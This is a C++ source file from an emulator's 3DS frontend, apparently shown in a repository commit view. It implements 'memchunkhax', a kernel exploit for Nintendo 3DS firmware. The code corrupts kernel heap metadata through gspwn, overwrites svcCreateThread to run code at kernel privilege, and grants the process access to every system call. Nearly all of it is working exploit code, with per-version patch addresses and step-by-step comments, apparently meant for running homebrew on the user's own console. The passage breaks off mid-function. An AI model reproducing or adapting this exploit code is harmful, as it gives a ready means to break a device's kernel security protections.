(ctr/3ds) add target.
[pcsx_rearmed.git] / frontend / 3ds / libkhax / khaxinit.cpp
CommitLineData
fc99395c 1#include <3ds.h>\r
2#include <cstddef>\r
3#include <cstdint>\r
4#include <cstdio>\r
5#include <cstdlib>\r
6#include <cstring>\r
7#include <limits>\r
8\r
9#include "khax.h"\r
10#include "khaxinternal.h"\r
11\r
12//------------------------------------------------------------------------------------------------\r
13namespace KHAX\r
14{\r
15 //------------------------------------------------------------------------------------------------\r
16 // Kernel and hardware version information.\r
17 struct VersionData\r
18 {\r
19 // New 3DS?\r
20 bool m_new3DS;\r
21 // Kernel version number\r
22 u32 m_kernelVersion;\r
23 // Nominal version number lower bound (for informational purposes only)\r
24 u32 m_nominalVersion;\r
25 // Patch location in svcCreateThread\r
26 u32 m_threadPatchAddress;\r
27 // Original version of code at m_threadPatchAddress\r
28 static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5;\r
29 // System call unlock patch location\r
30 u32 m_syscallPatchAddress;\r
31 // Kernel virtual address mapping of FCRAM\r
32 u32 m_fcramVirtualAddress;\r
33 // Physical mapping of FCRAM on this machine\r
34 static constexpr const u32 m_fcramPhysicalAddress = 0x20000000;\r
35 // Physical size of FCRAM on this machine\r
36 u32 m_fcramSize;\r
37 // Address of KThread address in kernel (KThread **)\r
38 static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast<KThread **>(0xFFFF9000);\r
39 // Address of KProcess address in kernel (KProcess **)\r
40 static constexpr void **const m_currentKProcessPtr = reinterpret_cast<void **>(0xFFFF9004);\r
41 // Pseudo-handle of the current KProcess.\r
42 static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001;\r
43 // Returned pointers within a KProcess object. This abstracts out which particular\r
44 // version of the KProcess object is in use.\r
45 struct KProcessPointers\r
46 {\r
47 KSVCACL *m_svcAccessControl;\r
48 u32 *m_kernelFlags;\r
49 u32 *m_processID;\r
50 };\r
51 // Creates a KProcessPointers for this kernel version and pointer to the object.\r
52 KProcessPointers(*m_makeKProcessPointers)(void *kprocess);\r
53\r
54 // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual\r
55 // address using the version-specific information in this table entry.\r
56 void *ConvertLinearUserVAToKernelVA(void *address) const;\r
57\r
58 // Retrieve a VersionData for this kernel, or null if not recognized.\r
59 static const VersionData *GetForCurrentSystem();\r
60\r
61 private:\r
62 // Implementation behind m_makeKProcessPointers.\r
63 template <typename KProcessType>\r
64 static KProcessPointers MakeKProcessPointers(void *kprocess);\r
65\r
66 // Table of these.\r
67 static const VersionData s_versionTable[];\r
68 };\r
69\r
70 //------------------------------------------------------------------------------------------------\r
71 // ARM11 kernel hack class.\r
72 class MemChunkHax\r
73 {\r
74 public:\r
75 // Construct using the version information for the current system.\r
76 MemChunkHax(const VersionData *versionData)\r
77 : m_versionData(versionData),\r
78 m_nextStep(1),\r
79 m_corrupted(0),\r
80 m_overwriteMemory(nullptr),\r
81 m_overwriteAllocated(0),\r
82 m_extraLinear(nullptr)\r
83 {\r
84 s_instance = this;\r
85 }\r
86\r
87 // Free memory and such.\r
88 ~MemChunkHax();\r
89\r
90 // Umm, don't copy this class.\r
91 MemChunkHax(const MemChunkHax &) = delete;\r
92 MemChunkHax &operator =(const MemChunkHax &) = delete;\r
93\r
94 // Basic initialization.\r
95 Result Step1_Initialize();\r
96 // Allocate linear memory for the memchunkhax operation.\r
97 Result Step2_AllocateMemory();\r
98 // Free the second and fourth pages of the five.\r
99 Result Step3_SurroundFree();\r
100 // Verify that the freed heap blocks' data matches our expected layout.\r
101 Result Step4_VerifyExpectedLayout();\r
102 // Corrupt svcCreateThread in the ARM11 kernel and create the foothold.\r
103 Result Step5_CorruptCreateThread();\r
104 // Execute svcCreateThread to execute code at SVC privilege.\r
105 Result Step6_ExecuteSVCCode();\r
106 // Grant access to all services.\r
107 Result Step7_GrantServiceAccess();\r
108\r
109 private:\r
110 // SVC-mode entry point thunk (true entry point).\r
111 static Result Step6a_SVCEntryPointThunk();\r
112 // SVC-mode entry point.\r
113 Result Step6b_SVCEntryPoint();\r
114 // Undo the code patch that Step5_CorruptCreateThread did.\r
115 Result Step6c_UndoCreateThreadPatch();\r
116 // Fix the heap corruption caused as a side effect of step 5.\r
117 Result Step6d_FixHeapCorruption();\r
118 // Grant our process access to all system calls, including svcBackdoor.\r
119 Result Step6e_GrantSVCAccess();\r
120 // Flush instruction and data caches.\r
121 Result Step6f_FlushCaches();\r
122 // Patch the process ID to 0. Runs as svcBackdoor.\r
123 static Result Step7a_PatchPID();\r
124 // Restore the original PID. Runs as svcBackdoor.\r
125 static Result Step7b_UnpatchPID();\r
126\r
127 // Helper for dumping memory to SD card.\r
128 template <std::size_t S>\r
129 bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const;\r
130\r
131 // Result returned by hacked svcCreateThread upon success.\r
132 static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE;\r
133\r
134 // Version information.\r
135 const VersionData *const m_versionData;\r
136 // Next step number.\r
137 int m_nextStep;\r
138 // Whether we are in a corrupted state, meaning we cannot continue if an error occurs.\r
139 int m_corrupted;\r
140\r
141 // Free block structure in the kernel, the one used in the memchunkhax exploit.\r
142 struct HeapFreeBlock\r
143 {\r
144 int m_count;\r
145 HeapFreeBlock *m_next;\r
146 HeapFreeBlock *m_prev;\r
147 int m_unknown1;\r
148 int m_unknown2;\r
149 };\r
150\r
151 // The layout of a memory page.\r
152 union Page\r
153 {\r
154 unsigned char m_bytes[4096];\r
155 HeapFreeBlock m_freeBlock;\r
156 };\r
157\r
158 // The linear memory allocated for the memchunkhax overwrite.\r
159 struct OverwriteMemory\r
160 {\r
161 union\r
162 {\r
163 unsigned char m_bytes[6 * 4096];\r
164 Page m_pages[6];\r
165 };\r
166 };\r
167 OverwriteMemory *m_overwriteMemory;\r
168 unsigned m_overwriteAllocated;\r
169\r
170 // Additional linear memory buffer for temporary purposes.\r
171 union ExtraLinearMemory\r
172 {\r
173 ALIGN(64) unsigned char m_bytes[64];\r
174 // When interpreting as a HeapFreeBlock.\r
175 HeapFreeBlock m_freeBlock;\r
176 };\r
177 // Must be a multiple of 16 for use with gspwn.\r
178 static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes");\r
179 ExtraLinearMemory *m_extraLinear;\r
180\r
181 // Copy of the old ACL\r
182 KSVCACL m_oldACL;\r
183\r
184 // Original process ID.\r
185 u32 m_originalPID;\r
186\r
187 // Buffers for dumped data when debugging.\r
188 #ifdef KHAX_DEBUG_DUMP_DATA\r
189 unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)];\r
190 unsigned char m_savedKThread[sizeof(KThread)];\r
191 unsigned char m_savedThreadSVC[0x100];\r
192 #endif\r
193\r
194 // Pointer to our instance.\r
195 static MemChunkHax *volatile s_instance;\r
196 };\r
197\r
198 //------------------------------------------------------------------------------------------------\r
199 // Make an error code\r
200 inline Result MakeError(Result level, Result summary, Result module, Result error);\r
201 enum : Result { KHAX_MODULE = 254 };\r
202 // Check whether this system is a New 3DS.\r
203 Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0);\r
204 // gspwn, meant for reading from or writing to freed buffers.\r
205 Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true);\r
206 // Given a pointer to a structure that is a member of another structure,\r
207 // return a pointer to the outer structure. Inspired by Windows macro.\r
208 template <typename Outer, typename Inner>\r
209 Outer *ContainingRecord(Inner *member, Inner Outer::*field);\r
210}\r
211\r
212\r
213//------------------------------------------------------------------------------------------------\r
214//\r
215// Class VersionData\r
216//\r
217\r
218//------------------------------------------------------------------------------------------------\r
219// Creates a KProcessPointers for this kernel version and pointer to the object.\r
220template <typename KProcessType>\r
221KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess)\r
222{\r
223 KProcessType *kproc = static_cast<KProcessType *>(kprocess);\r
224\r
225 KProcessPointers result;\r
226 result.m_svcAccessControl = &kproc->m_svcAccessControl;\r
227 result.m_processID = &kproc->m_processID;\r
228 result.m_kernelFlags = &kproc->m_kernelFlags;\r
229 return result;\r
230}\r
231\r
232//------------------------------------------------------------------------------------------------\r
233// System version table\r
234const KHAX::VersionData KHAX::VersionData::s_versionTable[] =\r
235{\r
236#define KPROC_FUNC(ver) MakeKProcessPointers<KProcess_##ver>\r
237\r
238 // Old 3DS, old address layout\r
239 { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
240 { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
241 { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
242 { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
243 { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
244 { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
245 { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
246 // Old 3DS, new address layout\r
247 { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },\r
248 { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },\r
249 // New 3DS\r
250 { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested\r
251 { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) },\r
252\r
253#undef KPROC_FUNC\r
254};\r
255\r
256//------------------------------------------------------------------------------------------------\r
257// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual\r
258// address using the version-specific information in this table entry.\r
259void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const\r
260{\r
261 static_assert((std::numeric_limits<std::uintptr_t>::max)() == (std::numeric_limits<u32>::max)(),\r
262 "you're sure that this is a 3DS?");\r
263\r
264 // Need the pointer as an integer.\r
265 u32 addr = reinterpret_cast<u32>(address);\r
266\r
267 // Convert the address to a physical address, since that's how we know the mapping.\r
268 u32 physical = osConvertVirtToPhys(addr);\r
269 if (physical == 0)\r
270 {\r
271 return nullptr;\r
272 }\r
273\r
274 // Verify that the address is within FCRAM.\r
275 if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize))\r
276 {\r
277 return nullptr;\r
278 }\r
279\r
280 // Now we can convert.\r
281 return reinterpret_cast<char *>(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress);\r
282}\r
283\r
284//------------------------------------------------------------------------------------------------\r
285// Retrieve a VersionData for this kernel, or null if not recognized.\r
286const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem()\r
287{\r
288 // Get kernel version for comparison.\r
289 u32 kernelVersion = osGetKernelVersion();\r
290\r
291 // Determine whether this is a New 3DS.\r
292 bool isNew3DS;\r
293 if (IsNew3DS(&isNew3DS, kernelVersion) != 0)\r
294 {\r
295 return nullptr;\r
296 }\r
297\r
298 // Search our list for a match.\r
299 for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry)\r
300 {\r
301 // New 3DS flag must match.\r
302 if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS))\r
303 {\r
304 continue;\r
305 }\r
306 // Kernel version must match.\r
307 if (entry->m_kernelVersion != kernelVersion)\r
308 {\r
309 continue;\r
310 }\r
311\r
312 return entry;\r
313 }\r
314\r
315 return nullptr;\r
316}\r
317\r
318\r
319//------------------------------------------------------------------------------------------------\r
320//\r
321// Class MemChunkHax\r
322//\r
323\r
324//------------------------------------------------------------------------------------------------\r
325KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr;\r
326\r
327//------------------------------------------------------------------------------------------------\r
328// Basic initialization.\r
329Result KHAX::MemChunkHax::Step1_Initialize()\r
330{\r
331 if (m_nextStep != 1)\r
332 {\r
333 KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep);\r
334 return MakeError(28, 5, KHAX_MODULE, 1016);\r
335 }\r
336\r
337 // Nothing to do in current implementation.\r
338 ++m_nextStep;\r
339 return 0;\r
340}\r
341\r
342//------------------------------------------------------------------------------------------------\r
343// Allocate linear memory for the memchunkhax operation.\r
344Result KHAX::MemChunkHax::Step2_AllocateMemory()\r
345{\r
346 if (m_nextStep != 2)\r
347 {\r
348 KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep);\r
349 return MakeError(28, 5, KHAX_MODULE, 1016);\r
350 }\r
351\r
352 // Allocate the linear memory for the overwrite process.\r
353 u32 address = 0xFFFFFFFF;\r
354 Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR,\r
355 static_cast<MemPerm>(MEMPERM_READ | MEMPERM_WRITE));\r
356\r
357 KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address);\r
358\r
359 if (result != 0)\r
360 {\r
361 return result;\r
362 }\r
363\r
364 m_overwriteMemory = reinterpret_cast<OverwriteMemory *>(address);\r
365 m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now\r
366\r
367 // Why didn't we get a page-aligned address?!\r
368 if (address & 0xFFF)\r
369 {\r
370 // Since we already assigned m_overwriteMemory, it'll get freed by our destructor.\r
371 KHAX_printf("Step2:misaligned memory\n");\r
372 return MakeError(26, 7, KHAX_MODULE, 1009);\r
373 }\r
374\r
375 // Allocate extra memory that we'll need.\r
376 m_extraLinear = static_cast<ExtraLinearMemory *>(linearMemAlign(sizeof(*m_extraLinear),\r
377 alignof(*m_extraLinear)));\r
378 if (!m_extraLinear)\r
379 {\r
380 KHAX_printf("Step2:failed extra alloc\n");\r
381 return MakeError(26, 3, KHAX_MODULE, 1011);\r
382 }\r
383 KHAX_printf("Step2:extra=%p\n", m_extraLinear);\r
384\r
385 // OK, we're good here.\r
386 ++m_nextStep;\r
387 return 0;\r
388}\r
389\r
390//------------------------------------------------------------------------------------------------\r
391// Free the second and fourth pages of the five.\r
392Result KHAX::MemChunkHax::Step3_SurroundFree()\r
393{\r
394 if (m_nextStep != 3)\r
395 {\r
396 KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep);\r
397 return MakeError(28, 5, KHAX_MODULE, 1016);\r
398 }\r
399\r
400 // We do this because the exploit involves triggering a heap coalesce. We surround a heap\r
401 // block (page) with two freed pages, then free the middle page. By controlling both outside\r
402 // pages, we know their addresses, and can fix up the corrupted heap afterward.\r
403 //\r
404 // Here's what the heap will look like after step 3:\r
405 //\r
406 // ___XX-X-X___\r
407 //\r
408 // _ = unknown (could be allocated and owned by other code)\r
409 // X = allocated\r
410 // - = allocated then freed by us\r
411 //\r
412 // In step 4, we will free the second page:\r
413 //\r
414 // ___X--X-X___\r
415 //\r
416 // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's\r
417 // "previous" pointer will be set to point to the second page rather than the third. We will\r
418 // use gspwn to make that overwrite kernel code instead.\r
419 //\r
420 // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little\r
421 // sandbox to play in. In particular, we can use this design to determine the address of the\r
422 // next block--by controlling the location of the next block.\r
423 u32 dummy;\r
424\r
425 // Free the third page.\r
426 if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[2]), 0,\r
427 sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
428 {\r
429 KHAX_printf("Step3:svcCM1 failed:%08lx\n", result);\r
430 return result;\r
431 }\r
432 m_overwriteAllocated &= ~(1u << 2);\r
433\r
434 // Free the fifth page.\r
435 if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[4]), 0,\r
436 sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
437 {\r
438 KHAX_printf("Step3:svcCM2 failed:%08lx\n", result);\r
439 return result;\r
440 }\r
441 m_overwriteAllocated &= ~(1u << 4);\r
442\r
443 // Attempt to write to remaining pages.\r
444 //KHAX_printf("Step2:probing page [0]\n");\r
445 *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0;\r
446 //KHAX_printf("Step2:probing page [1]\n");\r
447 *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0;\r
448 //KHAX_printf("Step2:probing page [3]\n");\r
449 *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0;\r
450 //KHAX_printf("Step2:probing page [5]\n");\r
451 *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0;\r
452 KHAX_printf("Step3:probing done\n");\r
453\r
454 // Done.\r
455 ++m_nextStep;\r
456 return 0;\r
457}\r
458\r
459//------------------------------------------------------------------------------------------------\r
460// Verify that the freed heap blocks' data matches our expected layout.\r
461Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout()\r
462{\r
463 if (m_nextStep != 4)\r
464 {\r
465 KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep);\r
466 return MakeError(28, 5, KHAX_MODULE, 1016);\r
467 }\r
468\r
469 // Copy the first freed page (third page) out to read its heap metadata.\r
470 std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));\r
471\r
472 if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2],\r
473 sizeof(*m_extraLinear)))\r
474 {\r
475 KHAX_printf("Step4:gspwn failed:%08lx\n", result);\r
476 return result;\r
477 }\r
478\r
479 // Debug information about the memory block\r
480 KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData->\r
481 ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]));\r
482 KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,\r
483 m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);\r
484\r
485 // The next page from the third should equal the fifth page.\r
486 if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA(\r
487 &m_overwriteMemory->m_pages[4]))\r
488 {\r
489 KHAX_printf("Step4:[2]->next != [4]\n");\r
490 KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next,\r
491 m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]),\r
492 &m_overwriteMemory->m_pages[4]);\r
493 return MakeError(26, 5, KHAX_MODULE, 1014);\r
494 }\r
495\r
496 // Copy the second freed page (fifth page) out to read its heap metadata.\r
497 std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));\r
498\r
499 if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4],\r
500 sizeof(*m_extraLinear)))\r
501 {\r
502 KHAX_printf("Step4:gspwn failed:%08lx\n", result);\r
503 return result;\r
504 }\r
505\r
506 KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData->\r
507 ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]));\r
508 KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,\r
509 m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);\r
510\r
511 // The previous page from the fifth should equal the third page.\r
512 if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA(\r
513 &m_overwriteMemory->m_pages[2]))\r
514 {\r
515 KHAX_printf("Step4:[4]->prev != [2]\n");\r
516 KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev,\r
517 m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]),\r
518 &m_overwriteMemory->m_pages[2]);\r
519 return MakeError(26, 5, KHAX_MODULE, 1014);\r
520 }\r
521\r
522 // Validation successful\r
523 ++m_nextStep;\r
524 return 0;\r
525}\r
526\r
527//------------------------------------------------------------------------------------------------\r
528// Corrupt svcCreateThread in the ARM11 kernel and create the foothold.\r
529Result KHAX::MemChunkHax::Step5_CorruptCreateThread()\r
530{\r
531 if (m_nextStep != 5)\r
532 {\r
533 KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep);\r
534 return MakeError(28, 5, KHAX_MODULE, 1016);\r
535 }\r
536\r
537 // Read the memory page we're going to gspwn.\r
538 if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock,\r
539 sizeof(*m_extraLinear)))\r
540 {\r
541 KHAX_printf("Step5:gspwn read failed:%08lx\n", result);\r
542 return result;\r
543 }\r
544\r
545 // Adjust the "next" pointer to point to within the svcCreateThread system call so as to\r
546 // corrupt certain instructions. The result will be that calling svcCreateThread will result\r
547 // in executing our code.\r
548 // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev.\r
549 // That is, the overwrite adds this offset back in.\r
550 m_extraLinear->m_freeBlock.m_next = reinterpret_cast<HeapFreeBlock *>(\r
551 m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev));\r
552\r
553 // Do the GSPwn, the actual exploit we've been waiting for.\r
554 if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear,\r
555 sizeof(*m_extraLinear)))\r
556 {\r
557 KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result);\r
558 return result;\r
559 }\r
560\r
561 // The heap is now corrupted in two ways (Step6 explains why two ways).\r
562 m_corrupted += 2;\r
563\r
564 KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n");\r
565\r
566 // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third\r
567 // page into the second page, and in the process zap an instruction pair in svcCreateThread.\r
568 u32 dummy;\r
569 if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[1]),\r
570 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
571 {\r
572 KHAX_printf("Step5:free to pwn failed:%08lx\n", result);\r
573 return result;\r
574 }\r
575 m_overwriteAllocated &= ~(1u << 1);\r
576\r
577 // We have an additional layer of instability because of the kernel code overwrite.\r
578 ++m_corrupted;\r
579\r
580 KHAX_printf("Step5:svcCreateThread now hacked\n");\r
581\r
582 ++m_nextStep;\r
583 return 0;\r
584}\r
585\r
586//------------------------------------------------------------------------------------------------\r
587// Execute svcCreateThread to execute code at SVC privilege.\r
588Result KHAX::MemChunkHax::Step6_ExecuteSVCCode()\r
589{\r
590 if (m_nextStep != 6)\r
591 {\r
592 KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep);\r
593 return MakeError(28, 5, KHAX_MODULE, 1016);\r
594 }\r
595\r
596 // Call svcCreateThread such that r0 is the desired exploit function. Note that the\r
597 // parameters to the usual system call thunk are rearranged relative to the actual system call\r
598 // - the thread priority parameter is actually the one that goes into r0. In addition, we\r
599 // want to pass other parameters that make for an illegal thread creation request, because the\r
600 // rest of the thread creation SVC occurs before the hacked code gets executed. We want the\r
601 // thread creation request to fail, then the hack to grant us control. Processor ID\r
602 // 0x7FFFFFFF seems to do the trick here.\r
603 Handle dummyHandle;\r
604 Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast<s32>(\r
605 Step6a_SVCEntryPointThunk), (std::numeric_limits<s32>::max)());\r
606\r
607 KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep);\r
608\r
609 if (result != STEP6_SUCCESS_RESULT)\r
610 {\r
611 // If the result was 0, something actually went wrong.\r
612 if (result == 0)\r
613 {\r
614 result = MakeError(27, 11, KHAX_MODULE, 1023);\r
615 }\r
616\r
617 return result;\r
618 }\r
619\r
620#ifdef KHAX_DEBUG\r
621 char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1];\r
622 char *sp = oldACLString;\r
623 for (unsigned char b : m_oldACL)\r
624 {\r
625 *sp++ = "0123456789abcdef"[b >> 4];\r
626 *sp++ = "0123456789abcdef"[b & 15];\r
627 }\r
628 *sp = '\0';\r
629\r
630 KHAX_printf("oldACL:%s\n", oldACLString);\r
631#endif\r
632\r
633 ++m_nextStep;\r
634 return 0;\r
635}\r
636\r
637//------------------------------------------------------------------------------------------------\r
638// SVC-mode entry point thunk (true entry point).\r
639#ifndef _MSC_VER\r
640__attribute__((__naked__))\r
641#endif\r
642Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk()\r
643{\r
644 __asm__ volatile("add sp, sp, #8");\r
645\r
646 register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint();\r
647\r
648 __asm__ volatile("ldr pc, [sp], #4" : : "r"(result));\r
649}\r
650\r
651//------------------------------------------------------------------------------------------------\r
652// SVC-mode entry point.\r
653#ifndef _MSC_VER\r
654__attribute__((__noinline__))\r
655#endif\r
656Result KHAX::MemChunkHax::Step6b_SVCEntryPoint()\r
657{\r
658 if (Result result = Step6c_UndoCreateThreadPatch())\r
659 {\r
660 return result;\r
661 }\r
662 if (Result result = Step6d_FixHeapCorruption())\r
663 {\r
664 return result;\r
665 }\r
666 if (Result result = Step6e_GrantSVCAccess())\r
667 {\r
668 return result;\r
669 }\r
670 if (Result result = Step6f_FlushCaches())\r
671 {\r
672 return result;\r
673 }\r
674\r
675 return STEP6_SUCCESS_RESULT;\r
676}\r
677\r
678//------------------------------------------------------------------------------------------------\r
679// Undo the code patch that Step5_CorruptCreateThread did.\r
680Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch()\r
681{\r
682 // Unpatch svcCreateThread. NOTE: Misaligned pointer.\r
683 *reinterpret_cast<u32 *>(m_versionData->m_threadPatchAddress) = m_versionData->\r
684 m_threadPatchOriginalCode;\r
685 --m_corrupted;\r
686\r
687 return 0;\r
688}\r
689\r
690//------------------------------------------------------------------------------------------------\r
691// Fix the heap corruption caused as a side effect of step 5.\r
692Result KHAX::MemChunkHax::Step6d_FixHeapCorruption()\r
693{\r
694 // The kernel's heap coalesce code seems to be like the following for the case we triggered,\r
695 // where we're freeing a block before ("left") an adjacent block ("right"):\r
696 //\r
697 // (1) left->m_count += right->m_count;\r
698 // (2) left->m_next = right->m_next;\r
699 // (3) right->m_next->m_prev = left;\r
700 //\r
701 // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point\r
702 // to where we want to patch, such that the write to m_prev is the desired code overwrite.\r
703 // (2) is copying the value we put into right->m_next to accomplish (3).\r
704 //\r
705 // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to\r
706 // point to the correct next free block, and do the write to right->m_next->m_prev that didn't\r
707 // happen because it instead was writing to kernel code.\r
708\r
709 // "left" is the second overwrite page.\r
710 auto left = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(\r
711 &m_overwriteMemory->m_pages[1].m_freeBlock));\r
712 // "right->m_next" is the fifth overwrite page.\r
713 auto rightNext = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(\r
714 &m_overwriteMemory->m_pages[4].m_freeBlock));\r
715\r
716 // Do the two fixups.\r
717 left->m_next = rightNext;\r
718 --m_corrupted;\r
719\r
720 rightNext->m_prev = left;\r
721 --m_corrupted;\r
722\r
723 return 0;\r
724}\r
725\r
726//------------------------------------------------------------------------------------------------\r
727// Grant our process access to all system calls, including svcBackdoor.\r
728Result KHAX::MemChunkHax::Step6e_GrantSVCAccess()\r
729{\r
730 // Everything, except nonexistent services 00, 7E or 7F.\r
731 static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F";\r
732\r
733 // Get the KThread pointer. Its type doesn't vary, so far.\r
734 KThread *kthread = *m_versionData->m_currentKThreadPtr;\r
735\r
736 // Debug dumping.\r
737#ifdef KHAX_DEBUG_DUMP_DATA\r
738 // Get the KProcess pointer, whose type varies by kernel version.\r
739 void *kprocess = *m_versionData->m_currentKProcessPtr;\r
740\r
741 void *svcData = reinterpret_cast<void *>(reinterpret_cast<std::uintptr_t>(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF));\r
742 std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess));\r
